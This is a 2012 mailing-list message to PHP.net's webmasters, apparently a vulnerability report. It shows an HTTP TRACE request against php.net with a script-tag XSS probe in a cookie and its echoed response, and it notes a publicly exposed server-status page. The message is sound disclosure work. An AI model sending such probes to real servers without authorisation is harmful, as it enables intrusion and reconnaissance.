PHP.net - 2 Issues on server
| From: | Yousha Aleayoub | Date: | Tue, 14 Feb 2012 16:24:05 +0000 |
| Subject: | PHP.net - 2 Issues on server | ||
| Groups: | php.webmaster | ||
| Request: | Send a blank email to php-webmaster+get-13809@lists.php.net to get a copy of this message | ||
Hi,
I found 2 issues:
1- The TRACE method is available on the server with a Bug!:
===== Request:
TRACE /v0giITgiUu HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: Keep-alive
Cookie: MYPHPNET=<script>alert('XSS or XST? or...?')</script>
Host: php.net
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;)
===== Response:
An alert windows! and:
TRACE /v0giITgiUu HTTP/1.1
Cookie: MYPHPNET=<script>alert('XSS or XST? or...?')</script>
Host: php.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;)
Accept: */*
This is XSS/XST bug? or there else?
?
2- SERVER-STATUS is enabled on server(or public premission): http://php.net/server-status
Regards.